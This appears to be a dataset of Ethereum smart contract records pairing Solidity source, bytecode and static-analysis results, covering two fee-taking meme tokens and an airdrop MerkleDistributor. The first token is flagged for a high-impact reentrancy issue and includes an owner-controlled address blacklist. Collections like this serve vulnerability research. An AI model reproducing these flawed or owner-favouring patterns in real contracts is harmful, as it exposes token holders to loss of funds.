block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031d578063c3c8cd801461033d578063c9567bf914610352578063cfe81ba014610367578063dd62ed3e1461038757600080fd5b8063715018a614610273578063842b7c08146102885780638da5cb5b146102a857806395d89b41146102d0578063a9059cbb146102fd57600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526008815267596f6b7520496e7560c01b60208201525b60405161015e9190611879565b60405180910390f35b34801561017357600080fd5b50610187610182366004611700565b6103cd565b604051901515815260200161015e565b3480156101a357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015e565b3480156101cc57600080fd5b506101876101db3660046116bf565b6103e4565b3480156101ec57600080fd5b506102006101fb36600461164c565b61044d565b005b34801561020e57600080fd5b506040516009815260200161015e565b34801561022a57600080fd5b506102006102393660046117f8565b6104a1565b34801561024a57600080fd5b506102006104e9565b34801561025f57600080fd5b506101b261026e36600461164c565b610516565b34801561027f57600080fd5b50610200610538565b34801561029457600080fd5b506102006102a3366004611832565b6105ac565b3480156102b457600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102dc57600080fd5b50604080518082019091526004815263594f4b5560e01b6020820152610151565b34801561030957600080fd5b50610187610318366004611700565b610603565b34801561032957600080fd5b5061020061033836600461172c565b610610565b34801561034957600080fd5b506102006106a6565b34801561035e57600080fd5b506102006106dc565b34801561037357600080fd5b50610200610382366004611832565b610aa5565b34801561039357600080fd5b506101b26103a2366004611686565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103da338484610afc565b5060015b92915050565b60006103f1848484610c20565b610443843361043e85604051806060016040528060288152602001611a65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b610afc565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b8152600401610477906118ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b8152600401610477906118ce565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050957600080fd5b4761051381610f3d565b50565b6001600160a01b0381166000908152600260205260408120546103de90610fc2565b6000546001600160a01b031633146105625760405162461bcd60e51b8152600401610477906118ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fe5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600a55565b60006103da338484610c20565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610477906118ce565b60005b81518110156106a25760016006600084848151811061065e5761065e611a15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a816119e4565b91505061063d565b5050565b600c546001600160a01b0316336001600160a01b0316146106c657600080fd5b60006106d130610516565b905061051381611046565b6000546001600160a01b031633146107065760405162461bcd60e51b8152600401610477906118ce565b600f54600160a01b900460ff16156107605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610477565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a030826b033b2e3c9fd0803ce8000000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611669565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611669565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094181610516565b6000806109566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f2919061184b565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a29190611815565b600d546001600160a01b0316336001600160a01b031614610af75760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600b55565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610ef3576001600160a01b03831660009081526006602052604090205460ff16158015610dbb57506001600160a01b03821660009081526006602052604090205460ff16155b610dc457600080fd5b600f546001600160a01b038481169116148015610def5750600e546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e295750600f54600160b81b900460ff165b15610e8657601054811115610e3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6157600080fd5b610e6c42601e611974565b6001600160a01b0383166000908152600760205260409020555b6000610e9130610516565b600f54909150600160a81b900460ff16158015610ebc5750600f546001600160a01b03858116911614155b8015610ed15750600f54600160b01b900460ff165b15610ef157610edf81611046565b478015610eef57610eef47610f3d565b505b505b610efe8383836111cf565b505050565b60008184841115610f275760405162461bcd60e51b81526004016104779190611879565b506000610f3484866119cd565b95945050505050565b600c546001600160a01b03166108fc610f578360026111da565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a8360026111da565b6040518115909202916000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006008548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b600061103361121c565b905061103f83826111da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108e5761108e611a15565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e257600080fd5b505afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a9190611669565b8160018151811061112d5761112d611a15565b6001600160a01b039283166020918202929092010152600e546111539130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c908590600090869030904290600401611903565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610efe83838361123f565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b6000806000611229611364565b909250905061123882826111da565b9250505090565b600080600080600080611251876113ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112839087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b2908661144b565b6001600160a01b0389166000908152600260205260409020556112d4816114aa565b6112de84836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132391815260200190565b60405180910390a3505050505050505050565b600081836113575760405162461bcd60e51b81526004016104779190611879565b506000610f34848661198c565b60085460009081906b033b2e3c9fd0803ce800000061138382826111da565b8210156113a3575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113c98a600a54600b54611518565b92509250925060006113d961121c565b905060008060006113ec8e87878761156d565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b6000806114588385611974565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b461121c565b905060006114c283836115bd565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6008546115019083611409565b600855600954611511908261144b565b6009555050565b6000808080611532606461152c89896115bd565b906111da565b90506000611545606461152c8a896115bd565b9050600061155d826115578b86611409565b90611409565b9992985090965090945050505050565b600080808061157c88866115bd565b9050600061158a88876115bd565b9050600061159888886115bd565b905060006115aa826115578686611409565b939b939a50919850919650505050505050565b6000826115cc575060006103de565b60006115d883856119ae565b9050826115e5858361198c565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b803561164781611a41565b919050565b60006020828403121561165e57600080fd5b813561103f81611a41565b60006020828403121561167b57600080fd5b815161103f81611a41565b6000806040838503121561169957600080fd5b82356116a481611a41565b915060208301356116b481611a41565b809150509250929050565b6000806000606084860312156116d457600080fd5b83356116df81611a41565b925060208401356116ef81611a41565b929592945050506040919091013590565b6000806040838503121561171357600080fd5b823561171e81611a41565b946020939093013593505050565b6000602080838503121561173f57600080fd5b823567ffffffffffffffff8082111561175757600080fd5b818501915085601f83011261176b57600080fd5b81358181111561177d5761177d611a2b565b8060051b604051601f19603f830116810181811085821117156117a2576117a2611a2b565b604052828152858101935084860182860187018a10156117c157600080fd5b600095505b838610156117eb576117d78161163c565b8552600195909501949386019386016117c6565b5098975050505050505050565b60006020828403121561180a57600080fd5b813561103f81611a56565b60006020828403121561182757600080fd5b815161103f81611a56565b60006020828403121561184457600080fd5b5035919050565b60008060006060848603121561186057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a65785810183015185820160400152820161188a565b818111156118b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611987576119876119ff565b500190565b6000826119a957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c8576119c86119ff565b500290565b6000828210156119df576119df6119ff565b500390565b60006000198214156119f8576119f86119ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051357600080fd5b801515811461051357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f64e1ef8793da4d2b1c2763b2d2a876ab77ab261438861cc2738eeb1c3db17d064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,869
0x20428d7f2a5f9024f2a148580f58e397c3718873
/** *Submitted for verification at Etherscan.io on 2021-04-25 */ /* B.PROTOCOL TERMS OF USE ======================= THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”). PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS. IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL. Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age. License; No Warranties; Limitation of Liability; (a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause. (b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. (c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ pragma solidity =0.6.11; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // Allows anyone to claim a token if they exist in a merkle root. interface IMerkleDistributor { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); } contract MerkleDistributor is IMerkleDistributor { address public immutable override token; bytes32 public immutable override merkleRoot; // This is a packed array of booleans. mapping(uint256 => uint256) private claimedBitMap; constructor(address token_, bytes32 merkleRoot_) public { token = token_; merkleRoot = merkleRoot_; } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.'); // Mark it claimed and send the token. _setClaimed(index); require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.'); emit Claimed(index, account, amount); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80632e7ba6ef146100515780632eb4a7ab146100df5780639e34070f146100f9578063fc0c546a1461012a575b600080fd5b6100dd6004803603608081101561006757600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561009e57600080fd5b8201836020820111156100b057600080fd5b803590602001918460208302840111640100000000831117156100d257600080fd5b50909250905061014e565b005b6100e76103b1565b60408051918252519081900360200190f35b6101166004803603602081101561010f57600080fd5b50356103d5565b604080519115158252519081900360200190f35b6101326103fb565b604080516001600160a01b039092168252519081900360200190f35b610157856103d5565b156101935760405162461bcd60e51b81526004018080602001828103825260288152602001806104f06028913960400191505060405180910390fd5b6040805160208082018890526bffffffffffffffffffffffff19606088901b1682840152605480830187905283518084039091018152607483018085528151918301919091206094928602808501840190955285825293610236939192879287928392909101908490808284376000920191909152507f334a2294e9728b1421cd2dacd1ba4d6eb7cc069f591ef9d48a34bd53bc6a05d0925085915061041f9050565b6102715760405162461bcd60e51b81526004018080602001828103825260218152602001806105186021913960400191505060405180910390fd5b61027a866104c8565b7f000000000000000000000000bbbbbbb5aa847a2003fbc6b5c16df0bd1e725f616001600160a01b031663a9059cbb86866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156102fa57600080fd5b505af115801561030e573d6000803e3d6000fd5b505050506040513d602081101561032457600080fd5b50516103615760405162461bcd60e51b81526004018080602001828103825260238152602001806105396023913960400191505060405180910390fd5b604080518781526001600160a01b038716602082015280820186905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a1505050505050565b7f334a2294e9728b1421cd2dacd1ba4d6eb7cc069f591ef9d48a34bd53bc6a05d081565b6101008104600090815260208190526040902054600160ff9092169190911b9081161490565b7f000000000000000000000000bbbbbbb5aa847a2003fbc6b5c16df0bd1e725f6181565b600081815b85518110156104bd57600086828151811061043b57fe5b6020026020010151905080831161048257828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506104b4565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610424565b509092149392505050565b610100810460009081526020819052604090208054600160ff9093169290921b909117905556fe4d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e4d65726b6c654469737472696275746f723a205472616e73666572206661696c65642ea2646970667358221220d722e9b266c8dda0d2b8a753960afda69aeae6fc49eb8b56eb286592172b41ef64736f6c634300060b0033
{"success": true, "error": null, "results": {}}
4,870
0x35395a291ad6776d95d6ecb6abb43fc6d0a44bbc
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ /** * good morning. crypto's pumping. probably nothing. * if you know, you know. (iykyk.) * * * TG: https://t.me/iykykERC20 * * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 10% tax on buys and sells * Max wallet of 5% of total supply for first 12 hours * 15% fee on sells within first (1) hour post-launch * No team tokens, no presale * Functions for removing fees * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract IYKYK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"If You Know You Know"; string private constant _symbol = unicode"IYKYK"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _launchFeeEnd; uint256 private _maxBuyAmount; uint256 private _maxHeldTokens; address payable private _feeAddress1; address payable private _feeAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private _tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useFees = true; uint256 private _buyLimitEnd; uint256 private _maxHeldTokensEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event UseFeesBooleanUpdated(bool _usefees); event FeeAddress1Updated(address _feewallet1); event 